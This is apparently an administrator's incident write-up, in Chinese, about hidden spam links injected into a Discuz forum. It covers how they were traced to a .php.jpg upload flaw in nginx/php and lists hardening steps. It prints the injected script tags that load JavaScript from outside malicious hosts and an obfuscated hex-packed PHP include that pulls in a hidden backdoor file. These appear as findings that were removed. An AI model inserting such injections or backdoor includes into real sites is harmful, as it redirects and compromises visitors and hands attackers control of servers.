论坛被挂暗链问题分析与解决

发现问题

有网友反映我们的论坛被挂了暗链,具体表现为从 google 搜索论坛名称结果如下图所示:

site_attacked.png

直接搜索论坛网址出现的一些热门帖子也被挂了暗链,通过 google 搜索结果访问会跳到恶意网站,

解决问题

直接通过网址访问论坛则没有任务问题,应该是论坛被注入了恶意代码,一时没被发现。

  • 在代码和数据库dump结果中搜索恶意站点信息,一无所获
  • 然后怀疑是用户上传的图片中挂了马,特别是联想到首页最近刚上热图轮播,安装 firefox 插件 ImageBlock 让浏览器不加载图片,可是问题依旧
  • 打开 firebugNetwork 标签,在页面加载记录中发现一个异常的js加载: http://api.discuz.com.de/Seo.js

    在代码和数据库中搜索这个js找不到任何信息。

    • 将恶意站点配置一条 hosts
      127.0.0.1 api.discuz.com.de
      

    浏览器不再自动跳转到恶意网站了。

  • google 跳转到论坛后,查看页面源代码在最开始部分发现了引入恶意js的语句
    <div style='display:none'><script language='javascript' src='http://count31.51yes.com/click.aspx?id=310940343&logo=1' charset='gb2312'></script></div><script type='text/javascript' src='http://api.discuz.com.de/Seo.js'></script>
    
  • 在php脚本中加入 echo 语句逐步缩小范围,最终发现问题由下面一条语句引起
    INCLUDE(pack('H*','2f7661722f746d702f2e53595344554d502f2e576830416d492e434f5245'));
    

    上面的语句引入了 /var/tmp/.SYSDUMP/.Wh0AmI.CORE 脚本。

    删除该语句后问题解决。

通过比较svn中的代码与现网的代码还发现了一个新的后门程序

    上面的脚本被恶意用户完成对系统的远程控制。

问题根源

这次发现的恶意代码注入应该是之前的一次 nginxphp 安全漏洞 引起,当时由 WooYun.org 汇报,原来已经被恶意用户种下了这些后门。

这个漏洞简言之就是用户可以上传文件后缀为 .php.jpg 的文件,在外部访问时直接被当做 php 执行,罪魁祸首归结为以下三点:

  • php 配置
  • nginx 配置
  • discuz

    允许上传文件名指定后缀为 .php.jpg

加固措施

  • 采用更严格的文件目录权限
    • 列出属主不应该为 nobody 的目录:
      find . -type d  | xargs ls -lad | grep nobody | grep -v '/data'
      

      discuz 要求为可写的目录(路径名包启/data)外,其它所有文件及目录属主都改为非 nobody 用户。

      需要注意的是 source/plugin/ 下的所有目录需要为所有用户添加上可执行权限(特别是自已开发并上传解压的插件),否则访问插件时会出现以下错误提示:

               指定的插件模块文件(XXXXXXXXXX)不存在或存在语法错误,请检查是否已将插件完整上传
      
    • 列出属主不应该为 nobody 的文件:
      find . -type f  | xargs ls -la | grep nobody | grep -v '/data'
      

      discuz 要求为可写的文件(路径名包启/data)外,其它所有文件属主都改为非 nobody 用户。

    • 列出 nobody 可写的文件
      find . -type f ! -perm 0644  | xargs ls -la | grep -v '/data/'
      

      收回非必要的写权限。

  • 确保上传目录中的 php 文件不会被当做 php 执行
    • data/attachment
    • uc_server/data/avatar
    • uc_server/data/tmp
